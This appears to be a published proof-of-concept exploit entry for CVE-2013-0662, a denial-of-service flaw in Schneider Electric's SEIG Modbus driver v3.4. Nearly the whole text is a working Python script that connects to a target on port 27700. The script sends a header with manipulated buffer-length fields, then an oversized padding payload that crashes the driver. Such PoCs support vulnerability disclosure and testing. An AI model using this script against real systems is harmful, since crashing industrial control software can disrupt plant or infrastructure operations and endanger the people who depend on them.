SEIG Modbus 3.4 Denial Of Service

`# Title: SEIG Modbus 3.4 - Denial of Service (PoC)  
# Author: Alejandro Parodi  
# Date: 2018-08-17  
# Vendor Homepage: https://www.schneider-electric.com  
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4  
# Version: v3.4  
# Tested on: Windows7 x86  
# CVE: CVE-2013-0662  
# References:   
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662  
  
import socket  
import struct  
import time  
  
ip = "192.168.127.137"  
port = 27700  
con = (ip, port)  
  
header_padding = "\x00\xAA"  
header_buffer_size = "\xFF\xFF"  
header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno)  
header_end = "\xFF"  
  
header = header_padding + header_buffer_size + header_recv_len + header_end  
message = "\x00\x64" + "A" * 2267  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(con)  
s.send(header)  
s.send(message)  
  
`